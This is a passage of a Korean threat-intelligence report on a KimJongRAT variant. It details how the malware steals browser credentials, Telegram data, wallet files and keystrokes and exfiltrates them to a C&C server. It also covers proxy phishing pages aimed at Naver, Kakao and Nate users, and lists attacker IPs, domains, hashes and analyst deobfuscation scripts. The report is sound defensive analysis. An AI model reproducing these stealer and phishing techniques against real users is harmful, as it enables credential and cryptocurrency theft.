caption - 암호화폐 지갑 정보 추출 루틴

  1. Firefox

"%AppData%\Mozilla\Firefox\Profiles"에 저장된 정보를 수집해 "%Temp%\[UUID]\" 디렉토리에 저장한다. 저장 시 Firefox 접두사가 사용된다. 프로필 별로 수집하는 데이터는 아래와 같다.

  • key4.db

  • key3.db

  • cookies.sqlite

  • logins.json

Firefox 민감 데이터 수집 루틴

caption - Firefox 민감 데이터 수집 루틴

GetTelg 함수는 "%AppData%\Telegram Desktop\tdata"에 저장된 텔레그램 데이터를 "%Temp%\[UUID}\telg\" 디렉토리에 복사한다. 이때 계정 인증 정보인 "D877F783D5D3EF8C" 디렉토리 내부 파일과, tdata 디렉토리 최상위 경로의 파일들이 대상이 된다.

텔레그램 데이터 수집 함수

caption - 텔레그램 데이터 수집 함수

Send 함수는 "%Temp%\[UUID]\" 디렉토리를 "%localappdata%\init.zip"으로 압축한다. 이후 압축 파일의 이름을 "init.dat"으로 변경해 서버로 전송한다. 이때 인자 id로 UUID가 함께 전송되어 식별자 역할을 한다.

전송에 성공하면 "%Temp%\[UUID]\" 디렉토리 내부의 모든 디렉토리와 파일, "%localappdata%\init.dat" 파일을 모두 삭제한다. 다음 동작인 CreateFileList 함수에서 파일 목록을 수집하는데 시간이 꽤 소요되므로 공격자는 최소한 GetTelg 함수에서 수집한 데이터까지는 성공적으로 전송되도록 설계하였다.

수집된 정보 압축 및 전송 함수

caption - 수집된 정보 압축 및 전송 함수

파일 전송 시에는 전송할 파일을 0xFE 로 XOR 하여 전송한다. 파일 크기가 크면 4MB 크기의 청크로 나누어 여러 번에 걸쳐 전송한다.

전송 데이터 가공 루틴

caption - 전송 데이터 가공 루틴

CreateFileList 함수는 모든 드라이브 (C 드라이브의 경우 Users 디렉토리) 하위 경로의 특정 확장자 또는 이름을 가진 파일 경로를 수집해 "%Temp%\[UUID}\FileList.txt" 파일에 기록한다. 해당 파일은 "lst.zip"으로 압축한 뒤에 "lst.dat"로 이름을 변경하고 서버에 전송한다.

  • 확장자: txt, doc, csv, doc, docx, xls, xlsx, pdf, hwp, hwpx, jpg, jpeg, png, rar, zip, alz, eml, ldb, log

  • 키워드: wallet, UTC-- , blockchain, keystore, privatekey, metamask, phrase, ledger, password, myether, dcent

파일 경로 수집 함수

caption - 파일 경로 수집 함수

3.3.3. 2.log

"2.log" 파일은 "1.ps1"에 의해 실행되고, 키로그 및 클립보드 데이터 수집 모듈이다. 한 번 실행되면 무한 반복되며, 60초 간격으로 수집된 데이터가 "%Temp%\[UUID]\k.log" 파일에 기록된다.

키로그 및 클립보드 데이터 수집 루틴

caption - 키로그 및 클립보드 데이터 수집 루틴

모든 동작이 마무리되면 마지막으로 Work 함수가 실행된다. Work 함수는 10 분 간격으로 반복하며 다음 동작을 차례대로 수행한다.

  1. 수집한 키로그 및 클립보드 데이터 전송

  2. GetAppKey 함수로 Chrome Appbound Key 다운로드 또는 수집

  3. C&C 서버에서 파일 경로가 저장된 파일(rd)을 다운로드한 뒤, 해당되는 파일을 C&C 서버로 업로드

  4. C&C 서버에서 파일 이름이 저장된 파일(wr)을 다운로드한 뒤, 해당되는 파일을 C&C 서버에서 다운로드

  5. C&C 서버에서 명령어가 저장된 파일(cmd)을 다운로드한 뒤 실행

결과적으로 공격자가 rd, wr, cmd 파일을 C&C 서버에 업로드하면 악성코드 Work 함수가 C&C 서버와 상호작용하며 파일 업로드 및 다운로드, 원격 명령 실행이 가능하다.

Work 함수에서 실행되는 GetAppKey 함수는 Chrome 마스터 키를 복호화 및 전송하는 모듈을 다운로드 실행한다.

Appbound key 추출 및 전송 루틴

caption - Appbound key 추출 및 전송 루틴

PE 파일 유형 공격의 "app64.log"와 동일한 마스터 키 추출 DLL 을 구글 드라이브에서 "nzvwan.log"로 다운받고, 로더 DLL인 "appload.log" 파일도 다운로드해 base64로 디코딩 후 rundll32.exe 로 실행한다. 로더 DLL 은 PE 유형 공격의 sys.dll 과 동일하게 낮은 권한의 chrome 프로세스에 마스터 키 추출용 DLL 을 인젝션해 실행한다.

appload.log 인젝션 루틴

caption - appload.log 인젝션 루틴

4. 추가 공격 분석

4.1. 로그인 피싱 공격

초기 침투에 사용된 이메일의 발신자, 발신 IP가 같은 네이트 로그인 피싱 이메일을 발견하였다. 해당 이메일은 해외 지역 로그인 시도 경고 함께 비밀번호 변경을 요구한다.

| 발신 이메일 주소 | 발신 IP | PHPMailer 버전 |
| --- | --- | --- |
| webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1

caption - 추가 이메일 정보

"지금 비밀번호 변경하러 가기" 버튼을 클릭하면 공격자 C&C서버의 로그인 피싱 페이지 (https://natezlx.myvnc[.]com/?nxnx=change&m=[base64로 인코딩된 이메일 주소])로 이동한다. 이때 접속하는 C&C 서버는 KimJongRAT 유포 이메일에서 확인된 C&C 서버와 동일하다.

피싱 페이지 접속 유도

caption - 피싱 페이지 접속 유도

피싱 페이지 접속 시 /Login.sk 엔드포인트로 리다이렉트 되고, 보안을 위해 다시 로그인을 해야 한다며 아이디와 비밀번호를 입력하게 한다.

caption - 피싱 페이지 입력 폼

피싱 페이지 도메인은 natezlx.myvnc[.]com으로 27.102.113[.]20에 매핑되어 있으며, 같은 IP에서 naver, kakao 피싱 도메인까지 확인되었다. 27.102.113[.]20에서 확인된 모든 피싱 페이지 정보는 아래 표와 같다.

| 서비스 | 피싱 URL |
| --- | --- |
| 네이트 | https://natezlx.myvnc[.]com/Login.sk?redirect=https%3A%2F%2Fhelpdesk.nate.com%2Fweb%2Fmember%2Fpassword |
| 네이버 | http://nid-naverpns.onthewifi[.]com/nidlogin.login?url=https://mail.naver.com/ |
| 카카오 | https://daumcyd.ddns[.]net/login/?continue=https://mail.daum.net#login |

caption - 전체 피싱 페이지 정보

피싱 페이지는 프록시 형식으로 정상 로그인 페이지를 로드하고 피해자와 로그인 페이지 간 오고 가는 데이터를 유출한다. 카카오 피싱 페이지의 경우 공격자가 추가한 Common.js 가 로그인 제목 부분의 DOM 요소를 "보안을 위해 신원을 확인해야 합니다"라는 문구로 덮어 이미 로그인 한 피해자도 다시 로그인 하도록 한다.

Common.js의 DOM 덮어쓰기 루틴

caption - Common.js의 DOM 덮어쓰기 루틴

또한 Common.js 에서는 한글로 작성된 주석이 발견되었다. Common.js 파일이 정상 로그인 페이지에 사용되는 파일을 수정했거나, 북한 배후 공격자가 LLM으로 생성한 코드일 가능성도 존재한다.

Common.js 한글 주석

caption - Common.js 한글 주석

프록시 서버를 거쳐 탈취된 정보는 C&C 서버의 /log 경로에 저장된다. 로그 파일 이름은 "[IP][로그 유형].txt" 형식으로 구성되며, 카카오 피싱 로그의 경우 "[IP].txt" 형식의 이메일 주소 로그까지 남아있다.

각 로그 유형 별로 담고 있는 정보는 아래 표와 같다.

| 로그 유형 | 정보 |
| --- | --- |
| _ck | 쿠키 정보 |
| _log | 트래픽 로그 |
| _redir | 리다이렉션 URL

caption - 로그 정보

_redir 로그에 기록된 리다이렉션 URL 중 KimJongRAT 유포 시 사용된 깃허브 경로가 확인되었다. 이를 통해 현재 공격자가 KimJongRAT 변종 유포와 로그인 피싱 공격을 함께 시도하고 있음을 알 수 있다.

추가로 HTTPs 인증서 정보를 통해 같은 공격자가 공격에 사용한 것으로 의심되는 IP 4 개를 수집했다. 해당 IP 들은 모두 네이버, 카카오, 네이트 관련 도메인 매핑 기록이 남아있으며, 일부는 과거 KimJongRAT 변종 악성코드 유포에 사용되었다. 현재는 모두 공격에 사용되고 있지 않은 것으로 확인되었다. IP 식별에 사용된 ssl 지문과 식별된 공격자 IP는 아래와 같다.

  • ssl 지문: 7d098f0f41601216ffd2e7f06da56c70f1e671da

  • 27.102.113[.]170

  • 27.102.113[.]107

  • 27.102.113[.]209

  • 183.111.226[.]13

4.2. 스피어 피싱 공격

조사 중 위의 ssl 지문으로 알아낸 IP에서 alz 파일을 다운로드하는 두 종류의 스피어 피싱 이메일을 확보하였다. 발신된 이메일 주소와 IP는 기존 사례와 차이가 있으나, 첨부파일 다운로드 URL 형식, 발신자 기준 발신 시간이 UTC -0700으로 기록된 점, 발신에 사용된 PHPMailer의 버전이 6.9.1인 점 등 메타데이터 공통점이 다수 발견되었다. 두 공격의 상세 정보는 아래 표와 같다.

| 파일 위장 | 발신자 이메일 | 발신 IP | 첨부 파일 다운로드 URL |
| --- | --- | --- | --- |
| 암호화폐 지갑 | heston.cho@kaia.mailhubsec[.]com | 160.202.160[.]248 | https://nid-navervtw.serveftp[.]com/docs/?&mp=nv&att=samsungcard_detail.zip |
| 카드 이용 명세서 | bill@samsungcard.mailhubsec[.]com | 103.249.28[.]34 | https://nid-naverqcr.servepics[.]com/docs/?&mp=nv&att=Kaia_wallet.alz |

caption - 공격 상세 정보

분석 시기에는 악성코드 유포 서버가 비활성화되었으며 현재 활성화된 서버에는 해당 alz 파일이 존재하지 않아 유포된 alz 파일은 확보할 수 없었다.

암호화폐 지갑 파일 위장 스피어 피싱 이메일

caption - 암호화폐 지갑 파일 위장 스피어 피싱 이메일

이용대금 명세서 위장 스피어 피싱 이메일

caption - 이용대금 명세서 위장 스피어 피싱 이메일

5. 대응 방안

5.1. 실행 전 파일 유형 확인

LNK 확장자를 가지는 바로가기 파일은 윈도우 파일 탐색기에서 확장자가 표시되지 않는다. 공격자들은 다른 유형의 확장자·아이콘을 적용해 피해자가 악성 LNK 파일을 정상 파일로 오인하도록 설계한다. 본 보고서의 공격 또한 공격자가 숨겨둔 스크립트가 실행되는 LNK 파일을 현재는 TXT, 과거에는 PDF 파일로 속여 피해자의 경계를 낮추었다.

악성 LNK 파일을 이용한 공격을 예방하기 위해 다운로드 한 파일 실행 전 파일 유형이 “바로 가기”인지 확인해야 한다.

LNK 파일 유형 정보

caption - LNK 파일 유형 정보

이와 더불어 파일 아이콘의 바로 가기 화살표 표시 또한 LNK 파일 식별에 도움이 된다.

LNK 파일 아이콘 화살표

caption - LNK 파일 아이콘 화살표

5.2. 추가 동작 유도 시 의심

최근 위협 행위자들이 피해자의 추가 동작을 요구하여 방심을 유도하는 사례가 자주 나타난다. 본 보고서 사례에서 PDF 문서에 암호를 설정한 뒤, 악성 LNK 파일의 이름을 “암호.txt.lnk” 파일로 설정해 피해자가 자연스럽게 악성코드를 실행하도록 설계하였다.

문서 열람 시 나타나는 암호 입력 창

caption - 문서 열람 시 나타나는 암호 입력 창

북한 배후 해킹 그룹 중 하나인 Kimsuky 의 소행으로 추정되는 2025 년 7 월 공격에서는 매뉴얼 문서가 악성 파웨쉘 스크립트와 함께 유포되었다. 해당 매뉴얼 파일은 피해자가 악성 파워쉘 스크립트를 인증 코드로 인식해 직접 실행하도록 유도한다.

7월 공격에 사용된 문서

caption - 7월 공격에 사용된 문서

따라서 이메일 또는 외부 링크를 통해 다운로드 된 파일이 추가 동작을 유도한다면 즉시 행동을 중단하고 자료의 신뢰성을 검토해야 한다.

6. 마치며

본 글은 2013년 처음 보고된 뒤 2018년부터 국내 대상 공격 사례가 꾸준히 보고된 변종 KimJongRAT 악성코드의 최신 공격 흐름을 분석하였다. 2024년부터 공격자는 기존 PE 유형 공격에 더해 새로운 파워쉘 스크립트 유형 공격을 병행해왔고, 2025년 여름부터는 두 유형을 하나로 통합하였다. 분석 과정에서는 초기 접근 전략부터 공격 인프라, 악성코드 업데이트 흐름까지 공격자의 활동 전반이 상세히 분석되었다.

이 외에도 같은 공격자가 실시한 다른 공격 정황이 포착되었다. 로그인 정보를 탈취할 목적으로 진행되던 피싱 사이트 공격은 최근 KimJongRAT 변종 악성코드 유포 과정에 결합되었다. 이 뿐만 아니라 피해자의 개인 정보를 언급하는 스피어 피싱 공격까지 대한민국 국민을 대상으로 이뤄진 폭넓은 공격 범위가 드러났다.

추가로 이번 분석에서 KimJongRAT 변종 악성코드와 북한 배후 공격 그룹인 Kimsuky의 연관성을 제시했던 과거 보고서들의 의견을 뒷받침하는 근거를 추가로 발견할 수 있었다. 대한민국 국민을 대상으로 가짜 피싱 사이트를 만들어 로그인 데이터를 탈취하거나, 피해자의 개인 정보를 이용해 정교한 스피어 피싱을 수행하는 공격은 Kimsuky가 주로 사용하는 공격 방식이다. 악성 DOC 파일의 949 코드 페이지와 피싱 사이트 js 코드에서 발견된 한글 주석 또한 공격자 출신의 강력한 단서가 된다.

KimJongRAT 변종 이용 공격은 상당히 오랜 기간 진행된 공격 유형으로 현재까지 유사한 위협을 분석한 보고서가 다수 공개되었다. 그럼에도 공격자의 활발한 변종 개발과 인프라 구축 활동은 여전히 많은 피해가 발생하고 있음을 시사한다. 이는 조직과 사회 전반에서 위협 정보를 신속히 수집·공유하고 보안 인식을 높이려는 노력이 한층 더 필요함을 분명히 보여준다.

7. 부록

부록 A. MITRE ATT&CK

| Tactic | Techniques |
| --- | --- |
| Initial Access | T1566.002: Phishing: Spearphishing Link |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.005: Command and Scripting Interpreter: Visual Basic-nT1204.002: User Execution: Malicious File |
| Persistence | T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1134: Access Token Manipulation |
| Defense Evasion | T1027.007: Obfuscated Files or Information: Dinamic API Resolution-nT1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1070.004: Indicator Removal: File Deletion-nT1055.001: Process Injection: Dynamic-link Library Injection-nT1620: Reflective Code Loading-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1057: Process Discovery-nT1082: System Information Discovery-nT1083: File and Directory Discovery-nT1087: Account Discovery-nT1217: Browser Information Discovery-nT1518: Software Discovery |
| Collection | T1115: Clipboard Data-nT1056.001: Input Capture: Keylogging |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Command and Control | T1102: Web Service-nT1071: Application Layer Protocol: Web Protocols-nT1132.002: DataEncoding: None-Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography

부록 B. IOCs

MD5

  • 66c4e2dd235c4d8d31abaf96e051585e - KAIA+지갑+파일+및+주소+송부드립니다..eml

  • 77f131bc8f660f85812c0d2e0da8e77e - [국세청]+회원님께+도착한+고지서를+확인하세요..eml

  • 003ea91e9f52ecfdc3aadb2732e9b54c - [네이트]+해외+지역에서+로그인이+시도되었습니다..eml

  • e3a937869322cc4cd765fcbf16d5b9ea - [삼성카드]+회원님,+2025년+06월+16일+이용대금+명세서+입니다..eml

  • d69fbf23e7492618cadc63d171010cd8 - [여성가족부]+성범죄자+신상정보+고지+알림.eml

  • 677e77265c7ba52e825fc62023942213 - app

  • 5441d8a79411a261546beb1021cb5052 - appload

  • c69909ea3c131181fa7ae12155bcae17 - main64

  • f000df00a424cefcd8efff48ab167169 - net

  • 76d2cbad8502dce9e70e501c2378d3ff - pipe.zip

  • 2e8bf657d0301fb4c61e29f455d9058e - sys.dll

  • c0ee9a9046d82b294b3bf3bec997fc45 - v3.txt

  • 172dc997ca6022ec8dff0842e4c7b887 - 성범죄자 신상정보 고지.pdf

  • d9ecf148c88bfd9791758b3be1a9f459 - 암호

  • 8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc

C&C

  • 142.11.248[.]98

  • 27.102.113[.]20

    • natezlx.myvnc[.]com

    • nid-naverbpk.onthewifi[.]com

    • daumcyd.ddns[.]net

  • 27.102.113[.]170

  • 183.111.226[.]13

  • 27.102.113[.]107

  • 27.102.113[.]209

  • cdn.glitch[.]global

E-mail Sender

  • 61.97.243[.]9

  • 160.202.160[.]248

  • 103.249.28[.]34

Google Drive URL

  • https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ

  • https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni

  • https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM

  • https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu

  • https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi

  • https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_

  • https://drive.google[.]com/uc?export=download&id=14J3_AavuDYmvlf32nqUQbNwz63Ym9Ph3

  • https://drive.google[.]com/uc?export=download&id=1J__fMPHg-imAvg6BTenO0AmZCNa-lOys

  • https://drive.google[.]com/uc?export=download&id=1PpxH3N-s87LZVCX7IBvLMpx56ABQ6CGn

Extension ID

| 확장 ID | 암호화폐 지갑 |
| --- | --- |
| nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
| egjidjbpglichdcondbcbdnbeeppgdph | Trust |
| ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
| aholpfdialjgjfhomihkjbmgjidlcdno | Exodus |
| fhbohimaelbohpjbbldcngcnapndodjp | Binance |
| mcohilncbfahbmgdjkbpemcciiolgcge | OKX |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
| ejbalbakoplchlghecdalmeeeajnimhm | MetaMask (Edge) |
| pbpjkcldjiffchgbbndmhojiacbgflha | OKX (Edge) |
| opfgelmcmbiajamepnmloijbpoleiama | Rainbow |
| phkbamefinggmakgklpkljjmgibohnba | Pontem |
| dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
| nphplpgoakhhjchkkhmiggakijnkhfnd | TON |
| jbppfhkifinbpinekbahmdomhlaidhfm | iWallet |
| aiifbnbfobpmeekipheeijimdpnlpgpp | Station |
| bhhhlbepdkbapadjdnnojkbgioiodbic | Solfare |
| jblndlipeogpafnldhgmapagcccfchpi | Kaia |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation |
| onhogfjeacnfoofkfgppdlbmlmnplgbn | SubWallet |
| pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit |
| acmacodkjbdgmoleebolmdjonilkdbch | Rabby |
| aflkmfhebedbjioipglgcbcmnbpgliof | Backpack |
| fnjhmkhhmkbjkkabndcnnogagogbneec | Ronin |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat |
| anokgmphncpekkhclmingpimjmcooifb | Compass |
| dlcobpjiigpikoobohmabehhmhfoodbb | Argent |
| efbglgofoippbgcjepnhiblaibcnclgk | Martian |
| ejjladinnckdgjemekebdpeokbikhfci | Petra |
| fcfcfllfndlomdhbehjjcoimbgofdncg | Leap |
| jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman |
| mkpegjkblkkefacfnmkajcjmabijhclg | Magic Eden |
| aeachknmefphepccionboohckonoeemg | Coin98 |
| idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse |
| nnpmfplkfogfpmcngplhnbdnnilmcdcg | Uniswap |
| opcgpfmipidbgpenhmajoajpbobppdil | Sui |
| hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase |
| kkpllkodjeloidieedojogacfhpaihoh | Enkrypt

부록 C. Scripts

HTA Deobfuscation

  • 난독화된 부분만 해제하므로 VBScript 문법은 별도로 해석해 난독화 결과와 종합해야 한다.

import re
import sys

HEX_CLNG_RE = re.compile(r'clng\(\s*"?\s*&h([0-9a-f]+)\s*"?\s*\)', re.IGNORECASE)

def fix_expr(expr):
    expr = expr.replace('/', '//')
    expr = HEX_CLNG_RE.sub(lambda m: str(int(m.group(1), 16)), expr)
    open_paren = expr.count('(')
    close_paren = expr.count(')')
    if open_paren > close_paren:
        expr += ')' * (open_paren - close_paren)
    return expr

def eval_expr(expr):
    return int(eval(expr, {"__builtins__": {}}, {}))

def extract_chr_calls(code):
    calls = []
    lc = code.lower()
    i = 0
    while True:
        j = lc.find('chr', i)
        if j == -1:
            break
        if lc.startswith('chrw', j):
            start_paren = j + 4 
            is_wide = True
        else:
            start_paren = j + 3
            is_wide = False
        k = start_paren
        while k < len(code) and code[k].isspace():
            k += 1
        if k >= len(code) or code[k] != '(':
            i = j + 3
            continue
        depth = 1
        p = k + 1
        while p < len(code) and depth > 0:
            if code[p] == '(':
                depth += 1
            elif code[p] == ')':
                depth -= 1
            p += 1
        if depth == 0:
            expr = code[k+1:p-1].strip()
            calls.append((expr, is_wide))
            i = p
        else:
            break
    return calls

def main(path):
    vb = open(path, 'r', encoding='utf-8', errors='ignore').read()
    calls = extract_chr_calls(vb)
    out = []
    for expr, is_wide in calls:
        fixed = fix_expr(expr)
        val = eval_expr(fixed)
        if val is None:
            continue
        mod = 65536 if is_wide else 256
        out.append(chr(val % mod))
    s = ''.join(out)
    print(s)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    main(sys.argv[1])

RC4 Decryption

from Crypto.Cipher import ARC4
import sys

def rc4_decrypt(key, data):
    cipher = ARC4.new(key)
    return cipher.decrypt(data)

def decrypt_file(input_path, output_path):
    with open(input_path, 'rb') as f:
        file_data = f.read()

    # Parse RC4 Key
    key = file_data[:16]
    encrypted_data = file_data[16:]

    # RC4 Decrypt
    decrypted_data = rc4_decrypt(key, encrypted_data)

    # Write Output
    with open(output_path, 'wb') as f:
        f.write(decrypted_data)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <input file>")
        sys.exit(1)
    decrypt_file(sys.argv[1], 'output.bin')

String Deobfuscation

import sys

table = {
    '!': '-', '#': ')', '$': ';', '%': '+', '&': '=', '(': ':', ')': '#',
    '*': '_', '+': '%', ',': '/', '-': '!', '.': '?', '/': ',', ':': '(',
    ';': '$', '<': ']', '=': '&', '>': '^', '?': '.', '@': '}', '[': '{',
    ']': '<', '^': '>', '_': '*',
    'a': 'm', 'b': 'q', 'c': 'f', 'd': 'h', 'e': 'x', 'f': 'c', 'g': 'l',
    'h': 'd', 'i': 'p', 'j': 's', 'k': 't', 'l': 'g', 'm': 'a', 'n': 'z',
    'o': 'r', 'p': 'i', 'q': 'b', 'r': 'o', 's': 'j', 't': 'k', 'u': 'y',
    'v': 'w', 'w': 'v', 'x': 'e', 'y': 'u', 'z': 'n',
    '{': '[', '}': '@',
} 

TRANS = str.maketrans({ord(k): v for k, v in table.items()})

def substitute_preserve_case(s):
    is_upper = [ch.isalpha() and ch.isupper() for ch in s]
    lower_s = ''.join(ch.lower() if ch.isalpha() else ch for ch in s)
    sub = lower_s.translate(TRANS)
    out_chars = []
    for ch, up in zip(sub, is_upper):
        if up and ch.isalpha():
            out_chars.append(ch.upper())
        else:
            out_chars.append(ch)
    return ''.join(out_chars)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <string>")
        sys.exit(1)
    print(substitute_preserve_case(sys.argv[1]))

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.